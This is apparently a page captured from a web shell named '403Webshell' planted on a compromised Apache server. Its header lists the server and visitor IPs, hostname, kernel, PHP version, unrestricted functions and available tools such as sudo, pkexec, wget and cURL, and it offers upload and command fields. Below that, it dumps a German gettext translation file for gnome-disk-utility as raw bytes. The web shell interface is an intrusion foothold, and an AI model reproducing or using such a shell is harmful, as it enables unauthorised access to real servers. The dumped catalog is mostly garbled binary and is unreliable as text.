403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/de/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/de/LC_MESSAGES/gnome-disk-utility.mo
-?2CCCCDD	$D
.D9DEDRD
_DjD)DDDDEE#E2EEEMEVEcEoE
~EEEEEEEEEF
F'F7F@F'UF}FFFFFFFFFFFF
GG_GHHH*HqIHH HHI.JJxKLLaMMN{iO~O0dP7PPP/P,QEQYQoQQQKQ+QB'R>jRGR@R2S>SJSWS$dS
S|S	T2TNT$mTTTTTTTUU$U5UIUZUoUUUUUUU
UVV"V5V=VJVYViV	lVvV
V+VVVVV
V"W&W<WCWYW-lWWWWWWWXX:X!WXyXXX"XXYYYYYY Y4Z,:ZgZxZZZZZ)Z[[5[,O[|[
[
[[[[[[[[L[ME\R\\\2]A]]]]]]^^
^%^
2^@^[^6k^^%^^
^2^_4_E_L_e_t_____"___	``&5`
\`g`3aGa Xaya$aa'aab;/bkbbbbbbbc2cHcac#ccc%ccdd &dGdOdSdhd}ddddddddddee5#e&Ye#e eeeeefff3f9f
@fNfkffffff"f
g,g1g9@g%zgg10hbhuhhh#h#h0h"iAiFiVi
bipiiiii	iiii&ij%j8jLj`jyjjjjj
jkk k"-k/Pkkkk#kkkl
l)l!>l"`lll:ll?mUm6rm:mmm
nn
+n6n
NnYnqnnnnnno o>oSopoooo	ooo
o@pLpYpqppqp@qIq]q`quqqq
qqqq'qrrrrrrr{sssssssttt#t(t
7tBtTttttvtu"u.u>u%Ju=puuu&u*
vZ5v,v+vJv*4w?_w*wTw-x,Mxzx~x/y"Dygyy#<z`z#}{M{"{||d7||V|,}r>}}}}}}}~+~	=~G~T~f~y~~~~~~~&9>P_w'2

)
E
P[2h%܀$7F Z&{+΁+=Obt&ڂ!097j,σ(<P`9vɄ&܄"&;Yn
}" υ

0Kbw
5ц"*;T`os
2=Qf
{	҈܈
.B-8>EL[
o}=ƋPތ
t:ٍt:ȎBi?mZvM!a40?<) f%%͒!`vȓܓMF e&5͔ϕb
m.Ӗn.+Kw+/+[jz
"9jYěC3'M[W}y@I͞Hk`e̟2Mi4pӠ.6CZm
zCޡ
"0DQ
bmv!&->U9]&1!2JNU]	is{	
ȤΤդ#ܤ%
-8>RZ`gns&å##7[y%Ԧ&3Ldjotyħȧͩ٩	

#.)K&u֪'3ERap
x#	֫!	.84QŬ&߬ '#ӭvn
r}4̮į~<Bմзp///_'Eպ4Ph}_7
]BLJ[8Խ#
?)4$Yoſ޿#>$Rw"4H`o~
6

0"	S]$r*9
,:Sp#2ER(p
	+>*9i#6@w)~'H:G
es
 aa(c/N08%Ag{1^	X(b:	$=L`!(*0[l<Yk&8(>#S+wX#" "Cf))1!#-$Q-v5##/"	R\m'4ASgI%1$/Tl'* K$_$((',,;Jh/d	)1?Q/
!&
7*Bm#3-J!f!/*0?[/$7< W-x883NL%e''QOJ

5@
Xc{	%=Qf	~=%'AabjP8;P	f
p{#*.)
7Q!n	#"/R
$N4=/0H80(C.;N-d-"KnrM'Hp"Qt5e*-X#dr#e0KZx	&:N
dr	$$"-2E-U423;JZ
w	!3$Ot{.>;O3+$
9D]lE{ "4!V$t
;2-Fty~%5
FTdEx=#
0>U
6O
es#
5Ig-N%|*wK!
*=>
2=	G9 =Z<JB &c!W	]	$z				O	&;
"b
%
-
2
%#&yEE"
;

57/!=;A-}.
y-ML{U8Y}aK92?AU%Y&$	,CViT0E	^h}
I
1MVc~Q2.Fa*1'&NRX
it
	

	1	 ; B ] j {  
         !!/*!	Z!d!m!!!!!!!!!
!!
""	*"4"	<"F"L"Q"V"["c"g"o""""["""#+HW#j7k0ZxdDkiDw5CiB@4&&?]~CNa"[@pU1#)*$t%+8V=P2M+rVR1VLE[d"5)~-|M;S]gN:Y/&1(AUDLl9~2fA2OPtjW7;T\`/qt(ql
 9p
!lN*W={3E'oHcch	JZQ6L)!$eF-,Iuz0YRgu|S^(YG,eKZG<oc?d$eBu	4%kO3q<_.>sxUGQ*6\" w:ys^5`j".38,
v<)	m
_yK>+x^
X0J;w.mba hsF{afBhIn9KTT?b!@}Cv`mXryRXI4'_Mg>S|[&b8E-:A
%(i#=f]JP	o$6nQ-%Oz
}*{v'z#prn' !
,/\7HF} mounted at %%.0f° C / %.0f° F%.1f Gbit/s%.1f Mbit/s%.1f days%.1f hours%.1f kbit/s%.1f minutes%.1f seconds%.1f years%d Component%d Components%d Component (%s)%d Components (%s each)%d bad sector%d bad sectors%d hour ago%d hours ago%d minute ago%d minutes ago%d sector%d sectors%s %s Drive%s (Read Only)%s / %s / %s bytes%s Data%s Drive%s Encrypted%s Extended%s File System%s Filesystem%s Free%s Hard Disk%s LVM2 Physical Volume%s Media%s Partition%s Partition Table%s RAID Component%s Software RAID%s Solid-State Disk%s Swap Space%s Unrecognized%s at %s%s available for use%s. Largest contiguous free block is %s1 MiB128 KiB16 KiB256 KiB32 KiB4 KiB512 KiB64 KiB8 KiB<small>_Cancel</small>A %s partition will be createdA hard disk may be failingA legacy scheme that is incompatible with most systems except Apple systems and most Linux systems. Not recommended for removable media.A partition will be createdA popular format compatible with almost any device or system, typically used for file exchange.ATAA_ttachAdd _VolumeAdding Component to RAID ArrayAdds a new component to the running RAID array. Use this when replacing a failed component or adding a hot spare.Airflow TemperatureAirflow temperature of the driveAll data on partition %d of "%s" and all partitions contained in this extended partition will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d of "%s" will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d of "%s" will be irrecovably erased. Make sure important data is backed up. This action cannot be undone.All data on partition %d on the media in "%s" and all partitions contained in this extended partition will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d on the media in "%s" will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d on the media in "%s" will be irrecovably erased. Make sure important data is backed up. This action cannot be undone.All data on partition %d with name "%s" of "%s" and all partitions contained in this extended partition will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d with name "%s" of "%s" will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d with name "%s" on the media in "%s" and all partitions contained in this extended partition will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on partition %d with name "%s" on the media in "%s" will be irrecovably erased.

Make sure important data is backed up. This action cannot be undone.All data on the drive "%s" will be irrecovably erased. Make sure important data is backed up. This action cannot be undone.All data on the media in "%s" will be irrecovably erased. Make sure important data is backed up. This action cannot be undone.Amount of high current used to spin up the driveAmplitude of heads trembling (GMR-head) in running modeAn error occuredAn invalid option was passed.An overall assessment of the health of the diskApple HFS/HFS+ PartitionApple Partition MapApple Partition TableApple RAID PartitionApple UFS PartitionApply the changes madeAre you sure you want to create a new file system, deleting existing data ?Are you sure you want to erase the device ?Are you sure you want to format the disk, deleting existing data ?Are you sure you want to remove the component from the array ?Are you sure you want to remove the partition, deleting existing data ?Are you sure you want to start the drive "%s" in degraded mode ?Array Name:Array Size:Array _Name:Array _Size:Array of drives to use for the arrayAssessmentAttaches the stale component to the RAID array. After attachment, data from the array will be synchronized on the component.AttributeAverage efficiency of operatings while positioningAverage efficiency of the diskBackup all data and replace the diskBad Sectors:Basic Data PartitionBeOS BFS (0xeb)Blank Blu-Ray DiscBlank Blu-Ray R DiscBlank Blu-Ray RW DiscBlank CD-R DiscBlank CD-ROM DiscBlank CD-RW DiscBlank DVD+R DL DiscBlank DVD+R DiscBlank DVD+RW DL DiscBlank DVD+RW DiscBlank DVD-RAM DiscBlank DVD-ROM DiscBlank DVD-RW DiscBlank HD DVD DiscBlank HD DVD-R DiscBlank HD DVD-RW DiscBlank MO DiscBlank MRW DiscBlank MRW/W DiscBlank Optical DiscBlu-RayBlu-Ray DiscBlu-Ray R DiscBlu-Ray RW DiscCDCD-R DiscCD-ROM DiscCD-RW DiscC_onveyance (usually less than ten minutes)C_reateC_urrent Passphrase:Calibration Retry CountCancelCancelling...Cancels the currently running testCannot unmount volumeChangeChange Pa_ssphrase...Change _PassphraseChanging Passphrase for Encrypted LUKS DeviceChec_kCheck the file systemChecking File SystemChecking RAID ArrayCleartext LUKS DeviceCompactFlashCompaq diagnostics (0x12)Compatible with Linux (ext2)Compatible with Linux (ext3)Compatible with all systems (FAT)Component SizeComponents:Contains logical partitionsConveyance self-test in progress: Count of remapped sectors. When the hard drive finds a read/write/verification error, it mark the sector as "reallocated" and transfers data to a special reserved area (spare area)Cr_eateCreateCreate File SystemCreate PartitionCreate Partition TableCreate RAID ArrayCreate a new Software RAID arrayCreate an Extended Partition for logical partitions.Create new filesystem on the selected deviceCreate partitionCreating File SystemCreating LUKS DeviceCreating PartitionCreating Partition TableCurrent Pending Sector CountCurrent internal temperature of the driveDEVICEDISK FAILURE IS IMMINENTDISK HAS MANY BAD SECTORSDISK IS BEING USED OUTSIDE DESIGN PARAMETERSDVDDVD+R DL DiscDVD+R DiscDVD+RW DL DiscDVD+RW DiscDVD-RAM DiscDVD-ROM DiscDVD-RW DiscDataData Address Mark ErrorsData on this device is stored in an encrypted form protected by a passphraseData on this device is stored in an encrypted form protected by a passphrase.Data on this device will be stored in an encrypted form protected by a passphrase.Delete the partitionDeleting PartitionDetach the device from the system, powering it offDetaches the running component from the RAID array. Data on the component will be erased and the component will be ready for other use.Detaching DeviceDetailsDeviceDevice to formatDevice:DiskDisk NotificationsDisk ShiftDisk UtilityDisk _UtilityDisk has a few bad sectorsDisk is healthyDisk was used outside of design parameters in the pastDisksDon't _warn me if the disk is failingDon't partitionDrive to showDrive's seek performance during offline operationsDriver 4.3 PartitionDriver PartitionDrivesEFI (FAT-12/16/32 (0xef)EFI GPT (0xee)EFI System PartitionEject media from the deviceEjecting MediaEmptyEmpty (0x00)Empty (don't create a file system)Empty PartitionEncr_ypt underlying deviceEncryptedEncrypted LUKS DeviceEncrypted, compatible with Linux (FAT)EncryptionEncryption protects your data, requiring a passphrase to be entered before the file system can be used. May decrease performance and may not be compatible if you use the media on other operating systems.Endurance RemainingEnter PassphraseErase the contents of the deviceError adding componentError checking file system on deviceError creating RAID arrayError creating component for RAID arrayError creating partitionError creating partition tableError creating partition table for component for RAID arrayError deleting partitionError detaching deviceError ejecting deviceError erasing dataError formatting volumeError launching Disk UtilityError locking encrypted deviceError modifying partitionError mounting deviceError removing componentError setting file system labelError storing passphrase in keyringError unlocking deviceError unmounting deviceEvery time data is collected (Online)ExtendedExtended (0x05)Extended PartitionExtended self-test in progress: FAILINGFATFAT (12-bit version)FAT (16-bit version)FAT (32-bit version)FAT 12FAT 16FAT 16 (Windows)FAT 32FAT 32 (Windows)FAT12 (0x01)FAT16 (0x06)FAT16 <32M (0x04)F_orget PassphraseFailed in the pastFailingFailure is a sign of imminent disk failure (Pre-Fail)Failure is a sign of old age (Old-Age)File system check on "%s" completedFile system is <b>NOT</b> clean.File system is clean.Filesystem labelFilesystem typeFirewireFirmware Version:FlagsFlags for the elementFlashFloppyFlying HeightForcibly Locking LUKS deviceForcibly Unmounting FilesystemFormat %s (%s)Format %s Volume (%s)Format partition %d of %s (%s)Formatting %s (%s)Formatting %s Volume (%s)Formatting partition %d of %s (%s)Formatting...FreeFreeBSD (0xa5)Frequency of 'program' errors while reading from the diskFrequency of errors while positioningFrequency of errors while reading raw data from the disk. A non-zero value indicates a problem with either the disk surface or read/write headsFrequency of mistakes as a result of impact loadsG-sense Error RateGMR Head AmplitudeGUID Partition TableGeneralGeneral time for loading in a driveGet Help on Palimpsest Disk UtilityGetting ATA SMART data would wake up the device.Gnome Disk Utility formatting toolGoodGood Block RateHD DVD DiscHD DVD-R DiscHD DVD-RW DiscHDDVDHFSHFS+HPFS/NTFS (0x07)Hard DiskHardware ECC RecoveredHead Flying HoursHealth status is unknownHeight of heads above the disk surfaceHibernation (0x84)Hibernation (0xa0)Hidden FAT12 (0x11)Hidden FAT16 (0x16)Hidden FAT16 <32M (0x14)Hidden HPFS/NTFS (0x17)Hidden W95 FAT16 (LBA) (0x1e)Hidden W95 FAT32 (0x1b)Hidden W95 FAT32 (LBA) (0x1c)High Fly WritesHome Host:IDISO 9660Incorrect Passphrase. Try again.Initiates a self-test on the driveInsufficient number disks to create a %s array.It's now safe to remove "%s".JazJournal for Linux ext3Journal for Linux ext3 (version %s)LDM data PartitionLDM meta data PartitionLUKSLUKS Passphrase for UUID %sLVM2 Physical VolumeLVM2 Physical Volume (version %s)Last self-test FAILED (Electrical)Last self-test FAILED (Read)Last self-test FAILED (Servo)Last self-test FAILED (Suspected of having handled damage)Last self-test completed OKLast self-test not completed (a fatal error might have occured)Last self-test was cancelledLast self-test was cancelled (with hard or soft reset)Leave unchecked to get notified if the disk starts failingLess than a minute agoLinux (0x83)Linux Ext2Linux Ext2 (version %s)Linux Ext3Linux Ext3 (version %s)Linux Ext4Linux Ext4 (version %s)Linux Extended (0x85)Linux LVM (0x8e)Linux LVM PartitionLinux MD slave stateBlockedLinux MD slave stateFaultyLinux MD slave stateIn SyncLinux MD slave stateSpareLinux MD slave stateWritemostlyLinux RAID PartitionLinux RAID autodetect (0xfd)Linux Reserved PartitionLinux Software RAIDLinux Swap PartitionLinux Unified Key SetupLinux XFSLinux XFS (version %s)Linux swap (0x82)Load FrictionLoad on drive cause by friction in mechanical parts of the storeLoad-in TimeLoad/Unload Cycle CountLoad/Unload Retry CountLoaded HoursLoading on drive caused by numerous recurrences of operations, like reading, recording, positioning of heads, etcLock the encrypted device, making the cleartext data unavailableLocking LUKS DeviceMBMBR Partition SchemeMBR Partition TableMO DiscMRW DiscMRW/W DiscMac OS X (0xa8)Mac OS X (0xaf)Manage Drives and MediaMargin of a channel while reading data.Marks the entire disk as unused. Use this option only if you want to avoid partitioning the disk for e.g. whole disk use or floppy / Zip disks.Master Boot RecordMaximum SizeMemoryStickMicrosoft Reserved PartitionMinimum SizeMirrored set without parity. Provides fault tolerance and improved performance for reading. RAID-1 arrays can sustain all but one disk failing.Model Name:Modifying PartitionMore InformationMount the filesystem on deviceMountable FilesystemMounting File SystemMounting volume...N/ANTFSNTFS (version %s)NameNew RAID ArrayNew VolumeNo Media DetectedNo description for attribute %dNo drive selectedNo file system will be created.No more partitions can be created. You may want to delete an existing partition and then create an Extended Partition.NoneNormalized:Not PartitionedNot runningNumber of CRC errors during UDMA modeNumber of Data Address Mark (DAM) errors (or) vendor-specificNumber of ECC errorsNumber of ECC on-the-fly errorsNumber of Thermal Asperity Rate errorsNumber of attempts to calibrate the deviceNumber of available reserved blocks as a percentage of the total number of reserved blocksNumber of buzz routines to spin up the driveNumber of cycles into landing zone positionNumber of errors as a result of impact loads as detected by a shock sensorNumber of errors corrected by software ECCNumber of errors that could not be recovered using hardware ECCNumber of errors while reading from a diskNumber of errors while writing to disk (or) multi-zone error rate (or) flying-heightNumber of hours elapsed in the power-on stateNumber of hours in general operational stateNumber of off-track errorsNumber of physical erase cycles completed on the drive as a percentage of the maximum physical erase cycles the drive supportsNumber of power-off or emergency retract cyclesNumber of power-off retract eventsNumber of power-on eventsNumber of remapping operations. The raw value of this attribute shows the total number of (successful and unsuccessful) attempts to transfer data from reallocated sectors to a spare areaNumber of retry attempts to spin upNumber of sectors waiting to be remapped. If the sector waiting to be remapped is subsequently written or read successfully, this value is decreased and the sector is not remapped. Read errors on the sector will not remap the sector, it will only be remapped on a failed write attemptNumber of spindle start/stop cyclesNumber of times a recording head is flying outside its normal operating rangeNumber of uncorrectable ECC errorsOPUS (0x10)Offline Seek PerformanceOne or more applications are using the volume. Quit the applications, and then try unmounting again.One or more disks are failingOne or more hard disks report health problems. Click the icon to get more information.Only during off-line activities (Not Online)Only volumes of acceptable sizes can be selected. You may need to manually create new volumes of acceptable sizes.OpenBSD (0xa6)Operation was canceledOptical DiscOverall Assessment:PATAPalimpsest Disk UtilityPart of "%s" %s arrayPart_ition Label:PartitionPartition %dPartition %d (%s)Partition %d of %sPartition %d on %sPartitionMagic (0x3c)PartitionedPartitioned Media (%s)PassedPassphrase can't be emptyPassphrases do not differPassphrases do not matchPercent SizePermission denied.PoolPower Cycle CountPower-On HoursPower-off Retract CountPowered On:Preparing...PresentableProDOS file systemProvides notifications related to disksQuantity efforts of the rotating moment of a driveQuitRAID ArrayRAID ComponentRAID Component (version %s)RAID LevelRAID Type:RAID _Level:RAID component typeLinear (Just a Bunch Of Disks)RAID component typeMirrored (RAID-1)RAID component typeRAID-4RAID component typeRAID-5RAID component typeRAID-6RAID component typeStriped (RAID-0)RAID device %sRAID device %s (%s)RAID levelConcatenated (Linear)RAID levelDistributed Parity (RAID-5)RAID levelDual Distributed Parity (RAID-6)RAID levelLinearRAID levelMirror (RAID-1)RAID levelParity Disk (RAID-4)RAID levelRAIDRAID levelRAID-0RAID levelRAID-1RAID levelRAID-10RAID levelRAID-4RAID levelRAID-5RAID levelRAID-6RAID levelStripe (RAID-0)RAID levelStripe of Mirrors (RAID-10)RAID status @ %3.01f%% (%s)RAID statusCheckingRAID statusDegradedRAID statusNot runningRAID statusNot running, can only start degradedRAID statusNot running, not enough components to startRAID statusNot running, partially assembledRAID statusRecoveringRAID statusRepairingRAID statusReshapingRAID statusResyncingRAID statusRunningRead Channel MarginRead Error RateRead Error Retry RateReads SMART data from the disk, waking it up if necessaryReallocated Sector CountReallocation CountRemember passphrase until you _log outRemoving Component from RAID ArrayRepairing RAID ArrayReported Uncorrectable ErrorsRequired / Firm_wareRun Out CancelRun self-testRunning Conveyance SMART Self-TestRunning Extended SMART Self-TestRunning Short SMART Self-TestSATASCSISD High CapacitySDIOSMART DataSMART data is malformedSMART data never collectedSMART is not availableSMART is not enabledSMART not supportedSMART status: %sSecureDigitalSeek Error RateSeek Timer PerformanceSelect a volume to use as component in the array "%s"Select what SMART self test to runSelf Assessment:Self-test is in progressSelf-tests:Serial Number:Setting Label for DeviceShift of disk is possible as a result of strong shock loading in the store, as a result of falling (or) temperatureShort self-test in progress: SizeSkyOS SkyFS (0xec)SmartMediaSoft ECC correctionSoft Read Error RateSoft read error rateSoftware RAIDSoftware _RAID ArraySolaris (0xbf)Solaris boot (0xbe)Solid-State DiskSpin BuzzSpin High CurrentSpinup Retry CountSpinup TimeStart the arrayStart/Stop CountStarting RAID ArrayStarting a RAID array in degraded mode means that the RAID volume is no longer tolerant to drive failures. Data on the volume may be irrevocably lost if a drive fails.Starts checking the RAID array for redundancyStarts repairing the RAID arrayStateState:StatusStop the arrayStopping RAID ArrayStripe S_ize:Stripe SizeStriped set with distributed parity. Provides improved performance and fault tolerance. RAID-10 arrays can sustain multiple drive losses so long as no mirror loses all its drives.Striped set with distributed parity. Provides improved performance and fault tolerance. RAID-5 arrays can sustain a single disk failure.Striped set with dual distributed parity. Provides improved performance and fault tolerance. RAID-6 arrays can sustain two disk failures.Striped set with parity on a single disk. Provides improved performance and fault tolerance. RAID-4 arrays can sustain a single disk failure.Striped set without parity. Provides improved performance but no fault tolerance. If a single disk in the array fails, the entire RAID-0 array fails.Swap SpaceSwap area used by the operating system for virtual memory.T_ake ownership of file systemTemperatureTemperature of the driveTemperature:Text to showThe GUID scheme is compatible with most modern systems but may be incompatible with some devices and legacy systems.The GduGridView object that the element is associated withThe Master Boot Record scheme is compatible with almost any device or system but has a number of limitations with respect to disk size and number of partitions.The amount of elapsed time the disk has been in a powered-up stateThe assessment from the disk itself whether it is about to failThe attributes of the partition can be edited. The partition can also be deleted to make room for other data.The currently selected sizeThe daemon is being inhibited.The data on component "%s" of the RAID Array "%s" will be irrecovably erased and the RAID Array might be degraded. Make sure important data is backed up. This action cannot be undone.The device is busy.The device to show the dialog forThe disk has %d partitionThe disk has %d partitionsThe disk has no partitions. %s available for useThe disk will be partitioned and a %s partition will be createdThe disk will be partitioned and a partition will be createdThe firmware version of the diskThe maximum size that can be selectedThe minimum size of the elementThe minimum size that can be selectedThe name of the model of the diskThe native Windows file system. Not widely compatible with other operating systems than Windows.The operation failed.The operation is not supported.The operation was canceled.The pool of devicesThe pool of devices to showThe presentable shown or NULL if this is a element representing lack of mediaThe requested filesystem labelThe requested name for the arrayThe requested size of the arrayThe requested stripe size of the arrayThe result of the last self-test that ran on the diskThe selected RAID levelThe selected file system has a concept of file ownership. If checked, the created file system will be owned by you. If not checked, only the super user can access the file system.The selected filesystem typeThe serial number of the diskThe size in percent that this element should claim or 0 to always claim the specified minimum sizeThe size of each componentThe sum of pending and reallocated bad sectorsThe temperature of the diskThe tests may take a very long time to complete depending on the speed and size of the disk. You can continue using your system while the test is running.The total number of uncorrectable errors when reading/writing a sector. A rise in the value of this attribute indicates defects of the disk surface and/or problems in the mechanical subsystemThe view to show details forThe volume contains a mountable filesystem.The volume contains encrypted data that can be unlocked with a passphrase. The passphrase can optionally be stored in the keyring.The volume contains swap space.The volume to formatThere was an error starting the drive "%s".There was an error stopping the drive "%s".Thermal Asperity RateThis file system is compatible with Linux systems only and provides classic UNIX file permissions support.This file system is compatible with Linux systems only and provides classic UNIX file permissions support. This file system does not use a journal.This is the last primary partition that can be created. If you need more partitions, you can create an Extended Partition.Threshold:Throughput PerformanceTime needed to spin up the diskTime since SMART data was last read – SMART data is updated every 30 minutes unless the disk is sleepingTime while head is positioningTo change the passphrase, enter both the current and new passphraseTo create a %s %s array on %d disks, press "Create"To create a %s array, select %d disks.To create a %s array, select %d disks.To create a %s array, select %d more disks.To create a %s array, select %d more disks.To create a new file system on the device, select the type and label and then press "Create". All existing data will be lost.To create a new partition table, select the partition table type and then press "Create". All existing data will be lost.To create a new partition, select the size and whether to create a file system. The partition type, label and flags can be changed after creation.To create an encrypted device, choose a passphrase to protect itTo format or edit media, insert it into the drive and wait a few seconds.To make the data available for use, enter the passphrase for the device.To prevent data corruption, wait until this has finished before removing media or disconnecting the device.To prevent data loss, wait until this has finished before removing media or disconnecting the device.Torque Amplification CountTotal number of load cyclesTy_pe:Type: %s
Updates: %s
Raw: 0x%02x%02x%02x%02x%02x%02xUDMA CRC Error RateUSBUnable to format '%s'Unallocated SpaceUncorrectable ECC CountUncorrectable Sector CountUniversal Disk FormatUnknownUnknown (%s)Unknown RAID level %s.Unknown Scheme: %sUnknown SizeUnknown errorUnknown or UnusedUnlock the encrypted device, making the data available in cleartextUnlocking LUKS DeviceUnmount the filesystemUnmounting File SystemUnmounting...Unpartitioned MediaUnrecognizedUnused PartitionUpdate nowUpdated:Updating...UseUse Disk Utility to format volumeValueValue:ViewView details about SMART for this diskVirtualVolumeVolume to showW95 Ext d (LBA) (0x0f)W95 FAT16 (LBA) (0x0e)W95 FAT32 (0x0b)W95 FAT32 (LBA) (0x0c)WarningWarning: All data on the volume will be irrevocably lost.Whether the volume should be encryptedWhole disk is uninitialized. %s available for useWhole-disk volumeWhole-disk volume on %sWorst:Write Error RateWriting data to "%s"...Zip_About_Add..._Attributes_Bootable_Change_Check File System_Delete Partition_Detach_Details:_Detect Media_Drive:_Edit_Eject_Erase_Extended (usually tens of minutes)_File_Forget passphrase immediately_Format_Format..._Help_Initiate Self Test_Label:_Lock_Mount_Name:_New_New Passphrase:_Passphrase:_Quit_Remember forever_Remove Component_Repair_Short (usually less than ten minutes)_Size:_Start_Start Array_Stop_Type:_Unlock_Unmount_Verify Passphrase:application nameBourne Again Shellapplication nameBourne Shellapplication nameC Shellapplication nameKorn Shellapplication nameProcess Viewer (top)application nameTENEX C Shellapplication nameTerminal Pager (less)application nameUnknownapplication nameZ Shellconnection nameUnknowneSATAext2ext3ext4iso9660jbdlvm2_pvpid: %d  program: %sraidswaptexttranslator-creditsudfuid: %d  pid: %d  program: %sxfsProject-Id-Version: gnome-disk-utility
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2009-10-06 22:15+0200
PO-Revision-Date: 2009-10-06 18:28+0200
Last-Translator: Christian Kirbach <Christian.Kirbach@googlemail.com>
Language-Team: German <gnome-de@gnome.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Poedit-Language: German
X-Poedit-Country: GERMANY
 eingehangen nach %%.0f° C / %.0f° F%.1f Gbit/s%.1f Mbit/s%.1f Tage%.1f Stunden%.1f kbit/s%.1f Minuten%.1f Sekunden%.1f Jahre%d Komponente%d Komponenten%d Komponente (%s)%d Komponenten (je %s)%d defekter Sektor%d defekte SektorenVor %d StundeVor %d StundenVor %d MinuteVor %d Minuten%d Sektor%d SektorenLaufwerk %s %s%s (nur lesbar)%s / %s / %s Bytes%s Daten%s-Laufwerk%s Verschlüsselt%s Erweitert%s Dateisystem%s Dateisystem%s frei%s Festplatte%s Physikalischer LVM2-Datenträger%s-Medium%s Partition%s Partitionstabelle%s RAID-Komponente%s Software-RAID%s Festkörperlaufwerk%s Swap-Bereich%s unbekannt%s mit %s%s stehen zur Verfügung%s. Größter zusammenhängender freier Block hat %s1 MiB128 KiB16 KiB256 KiB32 KiB4 KiB512 KiB64 KiB8 KiB<small>_Abbrechen</small>Eine %s Partition wird erstellt werdenEine Festplatte könnte versagenEin veraltetes Schema, das mit den meisten Systemen inkompatibel ist, außer Apple-Systemen und den meisten Linux-Systemen. Es ist für Wechselmedien nicht empfehlenswert.Eine Partition wird erstellt werdenEin mit beinahe jedem Gerät und System kompatibles populäres Format, typischerweise für den Dateiaustausch genutzt.ATA_EinbindenDatenträger _hinzufügenEine Komponente wird zur RAID-Anordnung hinzugefügtEine neue Komponente wird zur laufenden RAID-Anordnung hinzugefügt. Verwenden Sie diese Funktion beim Austausch einer defekten Komponente oder beim Hinzufügen einer sofort einsetzbaren Reserve.Temperatur der LuftTemperatur der Luft im LaufwerkAlle Daten auf Partition %d von »%s« und alle Partitionen innerhalb dieser erweiterten Partition werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d von »%s« werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d auf »%s« werden unwiderruflich gelöscht werden. Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d des Mediums in »%s« und alle Partitionen innerhalb dieser erweiterten Partition werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d des Mediums in »%s« werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d des Mediums in »%s« werden unwiderruflich gelöscht werden. Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d mit dem Namen »%s« von »%s« und alle Partitionen innerhalb dieser erweiterten Partition werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d mit dem Namen »%s« von »%s« werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d mit dem Namen »%s« auf dem Medium in »%s« und alle Partitionen in dieser erweiterten Partition werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf Partition %d mit dem Namen »%s« auf dem Medium in »%s« werden unwiderruflich gelöscht werden.

Stellen Sie sicher, dass wichtige Daten gesichert sind. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf dem Laufwerk »%s« werden unwiderruflich gelöscht. Stellen Sie sicher, dass Sie über eine Sicherungskopie verfügen. Dieser Vorgang kann nicht rückgängig gemacht werden.Alle Daten auf dem Medium in »%s« werden unwiderruflich gelöscht. Stellen Sie sicher, dass Sie über eine Sicherungskopie verfügen. Dieser Vorgang kann nicht rückgängig gemacht werden.Maximale Stromaufnahme bei Anlauf des LaufwerksStärke des Kopfflatterns (GMR-Kopf) im BetriebEs ist ein Fehler aufgetretenEine ungültige Option wurde verwendet.Eine allgemeine Einschätzung der Funktionstüchtigkeit des LaufwerksApple HFS/HFS+-PartitionApple PartitionsverzeichnisApple-PartitionstabelleApple RAID-PartitionApple UFS-PartitionDie Änderungen anwendenSind Sie sicher, dass Sie ein neues Dateisystem erstellen und bestehende Daten löschen wollen?Sind Sie sicher, dass das Gerät gelöscht werden soll?Wollen Sie wirklich dieses Medium formatieren, wobei alle vorhandenen Daten gelöscht werden?Sind Sie sicher, dass die Komponente aus der Anordnung entfernt werden soll?Wollen Sie wirklich die Partition löschen und vorhandene Daten verlieren?Sind Sie sicher, dass das Laufwerk »%s« im heruntergestuften Modus gestartet werden soll?Name der Anordnung:Größe der Anordnung:_Name der Anordnung:_Größe der Anordnung:Laufwerksverbund für die AnordnungEinschätzungDie alte Komponente wird in die RAID-Anordnung eingebunden. Nach der Einbindung werden die Daten von der Anordnung auf die Komponente abgeglichen.AttributDurchschnittliche Effizienz für den Vorgang der PositionierungDurchschnittliche Effizienz des LaufwerksSichern Sie alle Daten und ersetzen Sie das LaufwerkFehlerhafte Sektoren:Einfache 